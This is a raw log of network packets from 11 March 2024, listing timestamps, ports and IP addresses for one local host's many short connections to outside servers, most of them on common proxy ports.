Mar 11, 2024 15:21:02.795722008 CET	51239	80	192.168.2.9	50.170.90.26
Mar 11, 2024 15:21:02.795934916 CET	48738	51056	199.85.209.166	192.168.2.9
Mar 11, 2024 15:21:02.796405077 CET	80	50690	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:02.796490908 CET	50690	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:02.796567917 CET	50690	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:02.797665119 CET	1088	51081	46.227.37.21	192.168.2.9
Mar 11, 2024 15:21:02.798718929 CET	51240	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:02.798728943 CET	80	50084	20.205.61.143	192.168.2.9
Mar 11, 2024 15:21:02.798823118 CET	7497	49731	157.230.8.196	192.168.2.9
Mar 11, 2024 15:21:02.799494028 CET	59347	50273	157.245.82.62	192.168.2.9
Mar 11, 2024 15:21:02.800498962 CET	26619	50278	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.801023960 CET	8080	51072	54.223.158.88	192.168.2.9
Mar 11, 2024 15:21:02.801090002 CET	51072	8080	192.168.2.9	54.223.158.88
Mar 11, 2024 15:21:02.801872969 CET	80	50947	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:02.801933050 CET	80	50947	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:02.801944971 CET	80	50947	5.161.103.113	192.168.2.9
Mar 11, 2024 15:21:02.801995993 CET	50947	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:02.801996946 CET	80	51111	104.16.106.65	192.168.2.9
Mar 11, 2024 15:21:02.802011013 CET	80	51111	104.16.106.65	192.168.2.9
Mar 11, 2024 15:21:02.802522898 CET	80	51111	104.16.106.65	192.168.2.9
Mar 11, 2024 15:21:02.802577972 CET	51111	80	192.168.2.9	104.16.106.65
Mar 11, 2024 15:21:02.804274082 CET	80	50676	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:02.804347038 CET	50676	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:02.807102919 CET	80	50494	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:02.807185888 CET	50494	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:02.807288885 CET	80	50494	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:02.809472084 CET	50351	14066	192.168.2.9	139.59.90.148
Mar 11, 2024 15:21:02.809499025 CET	50631	4145	192.168.2.9	162.253.68.97
Mar 11, 2024 15:21:02.809501886 CET	50568	80	192.168.2.9	50.172.218.164
Mar 11, 2024 15:21:02.809501886 CET	50209	22450	192.168.2.9	50.63.12.33
Mar 11, 2024 15:21:02.809501886 CET	49715	3128	192.168.2.9	122.155.165.191
Mar 11, 2024 15:21:02.809505939 CET	50207	5678	192.168.2.9	41.174.152.226
Mar 11, 2024 15:21:02.809505939 CET	50222	54459	192.168.2.9	132.148.128.8
Mar 11, 2024 15:21:02.809505939 CET	50620	4145	192.168.2.9	68.71.247.130
Mar 11, 2024 15:21:02.809505939 CET	50291	4145	192.168.2.9	101.51.196.145
Mar 11, 2024 15:21:02.809526920 CET	50244	10185	192.168.2.9	192.163.202.88
Mar 11, 2024 15:21:02.809526920 CET	50217	80	192.168.2.9	8.210.58.56
Mar 11, 2024 15:21:02.809526920 CET	50411	5678	192.168.2.9	80.90.83.191
Mar 11, 2024 15:21:02.809529066 CET	50230	8080	192.168.2.9	191.179.216.84
Mar 11, 2024 15:21:02.809526920 CET	50233	46450	192.168.2.9	103.88.221.194
Mar 11, 2024 15:21:02.809529066 CET	50223	83	192.168.2.9	103.47.175.161
Mar 11, 2024 15:21:02.809528112 CET	50235	8118	192.168.2.9	136.54.39.34
Mar 11, 2024 15:21:02.809529066 CET	50236	3128	192.168.2.9	148.135.46.242
Mar 11, 2024 15:21:02.809528112 CET	50238	8080	192.168.2.9	200.7.8.74
Mar 11, 2024 15:21:02.809564114 CET	50226	57812	192.168.2.9	83.151.4.172
Mar 11, 2024 15:21:02.809565067 CET	50228	4153	192.168.2.9	110.77.149.20
Mar 11, 2024 15:21:02.809565067 CET	50229	9990	192.168.2.9	220.247.164.11
Mar 11, 2024 15:21:02.809696913 CET	50232	8080	192.168.2.9	85.196.179.34
Mar 11, 2024 15:21:02.809777021 CET	50240	80	192.168.2.9	23.254.231.55
Mar 11, 2024 15:21:02.811696053 CET	80	51133	172.67.181.58	192.168.2.9
Mar 11, 2024 15:21:02.811736107 CET	80	51133	172.67.181.58	192.168.2.9
Mar 11, 2024 15:21:02.811800003 CET	32842	50723	212.83.143.97	192.168.2.9
Mar 11, 2024 15:21:02.812553883 CET	80	51133	172.67.181.58	192.168.2.9
Mar 11, 2024 15:21:02.812622070 CET	4153	51074	152.32.84.108	192.168.2.9
Mar 11, 2024 15:21:02.812635899 CET	51133	80	192.168.2.9	172.67.181.58
Mar 11, 2024 15:21:02.812696934 CET	51074	4153	192.168.2.9	152.32.84.108
Mar 11, 2024 15:21:02.812727928 CET	10089	51145	147.75.92.251	192.168.2.9
Mar 11, 2024 15:21:02.812928915 CET	51145	10089	192.168.2.9	147.75.92.251
Mar 11, 2024 15:21:02.816019058 CET	20828	50425	103.92.235.60	192.168.2.9
Mar 11, 2024 15:21:02.816034079 CET	46249	50103	167.172.109.12	192.168.2.9
Mar 11, 2024 15:21:02.816967964 CET	4145	50868	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:02.816982031 CET	4145	50868	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:02.817014933 CET	80	49780	50.145.6.32	192.168.2.9
Mar 11, 2024 15:21:02.817815065 CET	80	49803	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:02.817831039 CET	3128	50349	18.135.133.116	192.168.2.9
Mar 11, 2024 15:21:02.818114996 CET	8081	50249	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:02.818126917 CET	8081	50249	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:02.818582058 CET	8081	51105	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:02.818594933 CET	8080	50224	194.247.173.17	192.168.2.9
Mar 11, 2024 15:21:02.818676949 CET	51105	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:02.820700884 CET	80	50690	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:02.822123051 CET	8899	50678	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:02.822175980 CET	50678	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:02.824091911 CET	80	50764	20.111.54.16	192.168.2.9
Mar 11, 2024 15:21:02.824228048 CET	80	50764	20.111.54.16	192.168.2.9
Mar 11, 2024 15:21:02.824239969 CET	3128	50618	139.129.162.65	192.168.2.9
Mar 11, 2024 15:21:02.824606895 CET	21000	50725	140.238.25.255	192.168.2.9
Mar 11, 2024 15:21:02.824620008 CET	80	50672	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:02.824717999 CET	80	50672	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:02.824729919 CET	80	50672	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:02.824867010 CET	50672	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:02.825088978 CET	50500	80	192.168.2.9	50.222.245.50
Mar 11, 2024 15:21:02.825088978 CET	50237	80	192.168.2.9	78.28.152.113
Mar 11, 2024 15:21:02.825117111 CET	50241	3128	192.168.2.9	3.24.58.156
Mar 11, 2024 15:21:02.825118065 CET	50265	80	192.168.2.9	203.202.248.36
Mar 11, 2024 15:21:02.825118065 CET	50242	12183	192.168.2.9	203.96.177.211
Mar 11, 2024 15:21:02.825118065 CET	50246	8080	192.168.2.9	154.73.28.157
Mar 11, 2024 15:21:02.825118065 CET	50245	8896	192.168.2.9	88.202.230.103
Mar 11, 2024 15:21:02.825124025 CET	50258	4216	192.168.2.9	121.206.205.75
Mar 11, 2024 15:21:02.825124025 CET	50262	999	192.168.2.9	138.121.15.229
Mar 11, 2024 15:21:02.825124025 CET	50260	17538	192.168.2.9	202.165.38.185
Mar 11, 2024 15:21:02.825161934 CET	50267	8080	192.168.2.9	137.59.50.41
Mar 11, 2024 15:21:02.825906992 CET	4145	51160	184.181.217.213	192.168.2.9
Mar 11, 2024 15:21:02.827338934 CET	51160	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:02.827342033 CET	50266	1974	192.168.2.9	41.33.203.115
Mar 11, 2024 15:21:02.829246044 CET	80	50676	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:02.829262018 CET	80	50689	8.211.4.215	192.168.2.9
Mar 11, 2024 15:21:02.829339027 CET	50689	80	192.168.2.9	8.211.4.215
Mar 11, 2024 15:21:02.829823017 CET	4145	50421	107.181.168.145	192.168.2.9
Mar 11, 2024 15:21:02.834722996 CET	80	50363	50.145.6.38	192.168.2.9
Mar 11, 2024 15:21:02.837002039 CET	8899	50678	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:02.838545084 CET	80	51200	104.21.64.208	192.168.2.9
Mar 11, 2024 15:21:02.838558912 CET	29631	51090	161.97.163.52	192.168.2.9
Mar 11, 2024 15:21:02.838615894 CET	51200	80	192.168.2.9	104.21.64.208
Mar 11, 2024 15:21:02.838640928 CET	51090	29631	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:02.840698957 CET	50251	8080	192.168.2.9	185.118.153.110
Mar 11, 2024 15:21:02.840728045 CET	50254	4145	192.168.2.9	2.139.2.212
Mar 11, 2024 15:21:02.840732098 CET	50253	80	192.168.2.9	75.89.101.62
Mar 11, 2024 15:21:02.840732098 CET	50729	80	192.168.2.9	143.198.226.25
Mar 11, 2024 15:21:02.840733051 CET	50261	48502	192.168.2.9	160.153.254.240
Mar 11, 2024 15:21:02.840732098 CET	50263	80	192.168.2.9	185.82.176.34
Mar 11, 2024 15:21:02.840732098 CET	50434	4145	192.168.2.9	119.82.242.58
Mar 11, 2024 15:21:02.840733051 CET	49835	8000	192.168.2.9	142.93.2.226
Mar 11, 2024 15:21:02.840760946 CET	50286	80	192.168.2.9	52.24.80.166
Mar 11, 2024 15:21:02.840764999 CET	50277	999	192.168.2.9	181.204.0.36
Mar 11, 2024 15:21:02.840765953 CET	50284	80	192.168.2.9	209.126.6.159
Mar 11, 2024 15:21:02.840765953 CET	50257	8080	192.168.2.9	103.153.62.191
Mar 11, 2024 15:21:02.840769053 CET	50467	3128	192.168.2.9	213.131.230.161
Mar 11, 2024 15:21:02.840765953 CET	50270	80	192.168.2.9	195.235.124.143
Mar 11, 2024 15:21:02.840765953 CET	50272	53155	192.168.2.9	185.109.184.150
Mar 11, 2024 15:21:02.840811014 CET	50615	25137	192.168.2.9	92.204.136.149
Mar 11, 2024 15:21:02.841072083 CET	80	51149	121.128.194.154	192.168.2.9
Mar 11, 2024 15:21:02.841295958 CET	51149	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:02.842818975 CET	80	50972	203.23.104.167	192.168.2.9
Mar 11, 2024 15:21:02.842932940 CET	50271	21981	192.168.2.9	37.187.91.192
Mar 11, 2024 15:21:02.843777895 CET	80	50988	104.20.233.70	192.168.2.9
Mar 11, 2024 15:21:02.843791962 CET	80	50966	172.67.181.147	192.168.2.9
Mar 11, 2024 15:21:02.844666958 CET	47152	51151	217.23.11.194	192.168.2.9
Mar 11, 2024 15:21:02.844727993 CET	51151	47152	192.168.2.9	217.23.11.194
Mar 11, 2024 15:21:02.844784021 CET	80	51199	162.159.241.12	192.168.2.9
Mar 11, 2024 15:21:02.844830990 CET	51199	80	192.168.2.9	162.159.241.12
Mar 11, 2024 15:21:02.844877005 CET	80	50788	59.6.26.121	192.168.2.9
Mar 11, 2024 15:21:02.844927073 CET	50788	80	192.168.2.9	59.6.26.121
Mar 11, 2024 15:21:02.846903086 CET	5000	51102	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:02.846956015 CET	51102	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:02.847026110 CET	5000	50151	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:02.847157001 CET	5000	50151	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:02.847793102 CET	80	50788	59.6.26.121	192.168.2.9
Mar 11, 2024 15:21:02.851350069 CET	80	51014	172.67.182.126	192.168.2.9
Mar 11, 2024 15:21:02.851366043 CET	80	51011	104.24.220.52	192.168.2.9
Mar 11, 2024 15:21:02.852044106 CET	8197	50732	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.852111101 CET	50732	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.852356911 CET	8080	50137	49.13.124.150	192.168.2.9
Mar 11, 2024 15:21:02.854053020 CET	80	50540	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:02.854068995 CET	4153	50062	103.94.133.91	192.168.2.9
Mar 11, 2024 15:21:02.854130030 CET	50540	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:02.854186058 CET	8197	50732	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.854391098 CET	3128	50124	144.91.106.93	192.168.2.9
Mar 11, 2024 15:21:02.856314898 CET	50309	22735	192.168.2.9	91.142.222.84
Mar 11, 2024 15:21:02.856344938 CET	50280	1080	192.168.2.9	183.62.58.37
Mar 11, 2024 15:21:02.856350899 CET	50405	4153	192.168.2.9	175.101.15.41
Mar 11, 2024 15:21:02.856350899 CET	50550	80	192.168.2.9	50.218.57.66
Mar 11, 2024 15:21:02.856353045 CET	50625	18031	192.168.2.9	72.10.160.91
Mar 11, 2024 15:21:02.856359005 CET	50282	4145	192.168.2.9	199.102.105.242
Mar 11, 2024 15:21:02.856359005 CET	50633	18657	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.856353045 CET	50279	1976	192.168.2.9	41.65.67.167
Mar 11, 2024 15:21:02.856369019 CET	50297	8080	192.168.2.9	217.172.122.14
Mar 11, 2024 15:21:02.856369019 CET	50285	4019	192.168.2.9	171.235.166.222
Mar 11, 2024 15:21:02.856369972 CET	50293	8879	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.856622934 CET	80	50289	50.168.210.226	192.168.2.9
Mar 11, 2024 15:21:02.856718063 CET	50508	19001	192.168.2.9	8.210.8.157
Mar 11, 2024 15:21:02.856808901 CET	4506	50082	8.213.128.90	192.168.2.9
Mar 11, 2024 15:21:02.858948946 CET	21358	50102	66.42.60.190	192.168.2.9
Mar 11, 2024 15:21:02.858963966 CET	80	50540	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:02.860857010 CET	1080	50399	101.250.10.211	192.168.2.9
Mar 11, 2024 15:21:02.860872984 CET	9764	51051	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:02.860985041 CET	51051	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.861200094 CET	80	51211	104.17.171.79	192.168.2.9
Mar 11, 2024 15:21:02.861329079 CET	51211	80	192.168.2.9	104.17.171.79
Mar 11, 2024 15:21:02.861403942 CET	4145	51201	104.37.135.145	192.168.2.9
Mar 11, 2024 15:21:02.863198996 CET	8888	50636	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:02.863672018 CET	80	51003	213.33.126.130	192.168.2.9
Mar 11, 2024 15:21:02.863765001 CET	51241	999	192.168.2.9	200.215.248.114
Mar 11, 2024 15:21:02.863773108 CET	16683	50320	72.10.160.94	192.168.2.9
Mar 11, 2024 15:21:02.864691019 CET	50947	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:02.866306067 CET	51111	80	192.168.2.9	104.16.106.65
Mar 11, 2024 15:21:02.866321087 CET	51072	8080	192.168.2.9	54.223.158.88
Mar 11, 2024 15:21:02.866424084 CET	50676	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:02.867130041 CET	50494	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:02.867280006 CET	4145	51142	185.169.181.15	192.168.2.9
Mar 11, 2024 15:21:02.868444920 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:02.868458986 CET	9764	51051	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:02.869468927 CET	51242	5678	192.168.2.9	103.68.0.242
Mar 11, 2024 15:21:02.869630098 CET	51243	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:02.869858980 CET	51244	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:02.869931936 CET	80	50212	50.173.140.145	192.168.2.9
Mar 11, 2024 15:21:02.870024920 CET	51133	80	192.168.2.9	172.67.181.58
Mar 11, 2024 15:21:02.870307922 CET	51074	4153	192.168.2.9	152.32.84.108
Mar 11, 2024 15:21:02.870496988 CET	51145	10089	192.168.2.9	147.75.92.251
Mar 11, 2024 15:21:02.871283054 CET	51105	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:02.871321917 CET	50678	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:02.871937037 CET	50290	3128	192.168.2.9	178.236.246.53
Mar 11, 2024 15:21:02.871949911 CET	49845	11691	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:02.871967077 CET	50294	999	192.168.2.9	190.97.238.89
Mar 11, 2024 15:21:02.871967077 CET	50549	80	192.168.2.9	50.174.7.157
Mar 11, 2024 15:21:02.871969938 CET	50349	3128	192.168.2.9	18.135.133.116
Mar 11, 2024 15:21:02.871990919 CET	50764	80	192.168.2.9	20.111.54.16
Mar 11, 2024 15:21:02.871994972 CET	50466	8089	192.168.2.9	114.231.42.97
Mar 11, 2024 15:21:02.871999025 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:02.872124910 CET	80	50295	50.168.210.232	192.168.2.9
Mar 11, 2024 15:21:02.872550964 CET	51245	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:02.872658014 CET	51246	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:02.872921944 CET	50672	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:02.873606920 CET	51160	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:02.873636961 CET	50689	80	192.168.2.9	8.211.4.215
Mar 11, 2024 15:21:02.874113083 CET	51200	80	192.168.2.9	104.21.64.208
Mar 11, 2024 15:21:02.874197006 CET	51090	29631	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:02.874567986 CET	51149	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:02.874732971 CET	51151	47152	192.168.2.9	217.23.11.194
Mar 11, 2024 15:21:02.875319958 CET	51199	80	192.168.2.9	162.159.241.12
Mar 11, 2024 15:21:02.875483036 CET	50788	80	192.168.2.9	59.6.26.121
Mar 11, 2024 15:21:02.875865936 CET	1976	50771	41.65.236.39	192.168.2.9
Mar 11, 2024 15:21:02.875938892 CET	50771	1976	192.168.2.9	41.65.236.39
Mar 11, 2024 15:21:02.876166105 CET	51102	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:02.876334906 CET	50732	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.876588106 CET	51247	80	192.168.2.9	59.6.26.121
Mar 11, 2024 15:21:02.876754999 CET	50540	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:02.877654076 CET	51248	999	192.168.2.9	190.83.15.241
Mar 11, 2024 15:21:02.878134966 CET	51249	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.878319025 CET	51051	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.878528118 CET	51250	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:02.878689051 CET	51211	80	192.168.2.9	104.17.171.79
Mar 11, 2024 15:21:02.878830910 CET	51251	80	192.168.2.9	50.169.37.50
Mar 11, 2024 15:21:02.879246950 CET	51252	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.879481077 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:02.879853964 CET	50771	1976	192.168.2.9	41.65.236.39
Mar 11, 2024 15:21:02.880383968 CET	808	50177	8.213.128.90	192.168.2.9
Mar 11, 2024 15:21:02.880692959 CET	51253	15673	192.168.2.9	43.155.142.116
Mar 11, 2024 15:21:02.880774975 CET	8080	50641	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:02.880830050 CET	50641	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:02.881027937 CET	50641	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:02.882005930 CET	51254	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:02.883032084 CET	8800	50227	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:02.883214951 CET	80	50186	50.174.7.152	192.168.2.9
Mar 11, 2024 15:21:02.883424044 CET	8888	50636	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:02.883436918 CET	8888	50636	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:02.883496046 CET	50636	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:02.883511066 CET	8888	50636	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:02.883699894 CET	50636	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:02.884335041 CET	8080	50231	143.64.8.21	192.168.2.9
Mar 11, 2024 15:21:02.884356022 CET	50636	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:02.884686947 CET	50349	3128	192.168.2.9	18.135.133.116
Mar 11, 2024 15:21:02.886564016 CET	8080	50641	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:02.886735916 CET	51255	80	192.168.2.9	104.25.114.28
Mar 11, 2024 15:21:02.887423992 CET	51256	5678	192.168.2.9	123.108.98.108
Mar 11, 2024 15:21:02.887586117 CET	49853	13351	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:02.887597084 CET	50617	80	192.168.2.9	20.210.113.32
Mar 11, 2024 15:21:02.887600899 CET	50681	4145	192.168.2.9	199.102.106.94
Mar 11, 2024 15:21:02.887600899 CET	50300	8080	192.168.2.9	103.24.107.186
Mar 11, 2024 15:21:02.887609005 CET	49838	80	192.168.2.9	50.168.163.182
Mar 11, 2024 15:21:02.887829065 CET	50302	999	192.168.2.9	177.93.44.53
Mar 11, 2024 15:21:02.887868881 CET	50304	1080	192.168.2.9	192.99.221.162
Mar 11, 2024 15:21:02.888448000 CET	8800	50227	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:02.889105082 CET	51257	3128	192.168.2.9	116.62.147.249
Mar 11, 2024 15:21:02.891678095 CET	51258	42675	192.168.2.9	139.59.35.1
Mar 11, 2024 15:21:02.893548012 CET	80	50870	165.231.101.229	192.168.2.9
Mar 11, 2024 15:21:02.893573046 CET	80	50870	165.231.101.229	192.168.2.9
Mar 11, 2024 15:21:02.893588066 CET	80	50870	165.231.101.229	192.168.2.9
Mar 11, 2024 15:21:02.893649101 CET	50870	80	192.168.2.9	165.231.101.229
Mar 11, 2024 15:21:02.893886089 CET	50870	80	192.168.2.9	165.231.101.229
Mar 11, 2024 15:21:02.894728899 CET	51259	43240	192.168.2.9	107.180.90.248
Mar 11, 2024 15:21:02.894769907 CET	24809	50352	72.10.160.90	192.168.2.9
Mar 11, 2024 15:21:02.894926071 CET	11679	49775	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:02.895068884 CET	10713	50362	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:02.895368099 CET	51260	10101	192.168.2.9	140.227.228.202
Mar 11, 2024 15:21:02.895982027 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:02.896368980 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:02.896562099 CET	2509	50369	67.43.228.250	192.168.2.9
Mar 11, 2024 15:21:02.898030996 CET	5385	49772	72.10.160.170	192.168.2.9
Mar 11, 2024 15:21:02.899792910 CET	8800	51146	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:02.899878979 CET	51146	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:02.901133060 CET	4153	51147	1.179.194.137	192.168.2.9
Mar 11, 2024 15:21:02.901510000 CET	51261	4145	192.168.2.9	105.234.156.109
Mar 11, 2024 15:21:02.901761055 CET	51146	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:02.902225018 CET	3128	49880	104.248.146.99	192.168.2.9
Mar 11, 2024 15:21:02.903193951 CET	50613	52929	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.903211117 CET	50146	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:02.903223038 CET	50657	29915	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:02.903223038 CET	49859	9375	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.903228045 CET	50299	8080	192.168.2.9	85.117.60.162
Mar 11, 2024 15:21:02.903233051 CET	50450	4153	192.168.2.9	180.183.39.207
Mar 11, 2024 15:21:02.903240919 CET	50531	4153	192.168.2.9	177.131.16.66
Mar 11, 2024 15:21:02.903240919 CET	50307	41890	192.168.2.9	36.95.84.151
Mar 11, 2024 15:21:02.903253078 CET	50301	80	192.168.2.9	68.183.143.134
Mar 11, 2024 15:21:02.903259039 CET	50308	80	192.168.2.9	31.220.56.210
Mar 11, 2024 15:21:02.903260946 CET	50312	55606	192.168.2.9	45.117.179.179
Mar 11, 2024 15:21:02.903259993 CET	50318	4153	192.168.2.9	185.40.80.143
Mar 11, 2024 15:21:02.903259039 CET	50315	45787	192.168.2.9	103.42.28.27
Mar 11, 2024 15:21:02.903259993 CET	50319	14253	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:02.903259039 CET	50305	4153	192.168.2.9	187.62.89.252
Mar 11, 2024 15:21:02.903264046 CET	50317	59058	192.168.2.9	213.136.75.85
Mar 11, 2024 15:21:02.903259039 CET	50314	53948	192.168.2.9	161.97.173.42
Mar 11, 2024 15:21:02.903263092 CET	50311	10801	192.168.2.9	109.120.218.158
Mar 11, 2024 15:21:02.903260946 CET	50316	8080	192.168.2.9	81.44.83.70
Mar 11, 2024 15:21:02.903260946 CET	50325	80	192.168.2.9	61.230.151.39
Mar 11, 2024 15:21:02.903280020 CET	50326	80	192.168.2.9	194.140.198.23
Mar 11, 2024 15:21:02.903297901 CET	50321	8080	192.168.2.9	85.221.249.213
Mar 11, 2024 15:21:02.903299093 CET	50324	8080	192.168.2.9	67.205.190.164
Mar 11, 2024 15:21:02.903297901 CET	50330	41847	192.168.2.9	162.214.75.237
Mar 11, 2024 15:21:02.903311968 CET	50328	1080	192.168.2.9	117.10.124.11
Mar 11, 2024 15:21:02.903314114 CET	50322	8085	192.168.2.9	46.161.194.91
Mar 11, 2024 15:21:02.903464079 CET	9091	51158	182.106.220.252	192.168.2.9
Mar 11, 2024 15:21:02.903579950 CET	51158	9091	192.168.2.9	182.106.220.252
Mar 11, 2024 15:21:02.903798103 CET	51158	9091	192.168.2.9	182.106.220.252
Mar 11, 2024 15:21:02.903955936 CET	10046	50808	115.146.225.137	192.168.2.9
Mar 11, 2024 15:21:02.903970957 CET	24863	51178	67.43.236.19	192.168.2.9
Mar 11, 2024 15:21:02.904602051 CET	80	49740	50.220.168.134	192.168.2.9
Mar 11, 2024 15:21:02.905932903 CET	3128	50428	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:02.906198978 CET	3128	50428	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:02.906649113 CET	3128	51168	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:02.906716108 CET	51262	26568	192.168.2.9	192.9.241.51
Mar 11, 2024 15:21:02.906734943 CET	51168	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:02.906949043 CET	51168	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:02.907499075 CET	51263	12334	192.168.2.9	146.19.106.193
Mar 11, 2024 15:21:02.908128023 CET	51264	80	192.168.2.9	46.101.160.223
Mar 11, 2024 15:21:02.908881903 CET	4153	50773	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:02.908895016 CET	4153	50773	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:02.908957005 CET	50773	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:02.909039974 CET	50773	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:02.909363985 CET	8193	50871	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.909583092 CET	50871	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.909612894 CET	4145	50515	107.181.161.81	192.168.2.9
Mar 11, 2024 15:21:02.909672022 CET	51265	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:02.909773111 CET	50871	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.910510063 CET	51266	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.910679102 CET	51267	16831	192.168.2.9	205.185.117.77
Mar 11, 2024 15:21:02.911322117 CET	80	50250	50.174.214.222	192.168.2.9
Mar 11, 2024 15:21:02.912131071 CET	51268	81	192.168.2.9	37.187.24.201
Mar 11, 2024 15:21:02.912168980 CET	80	50978	52.196.1.182	192.168.2.9
Mar 11, 2024 15:21:02.912564993 CET	1080	51106	89.218.8.152	192.168.2.9
Mar 11, 2024 15:21:02.912578106 CET	4145	51222	98.181.137.83	192.168.2.9
Mar 11, 2024 15:21:02.912641048 CET	51106	1080	192.168.2.9	89.218.8.152
Mar 11, 2024 15:21:02.912663937 CET	51222	4145	192.168.2.9	98.181.137.83
Mar 11, 2024 15:21:02.912682056 CET	8193	50871	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.912851095 CET	51106	1080	192.168.2.9	89.218.8.152
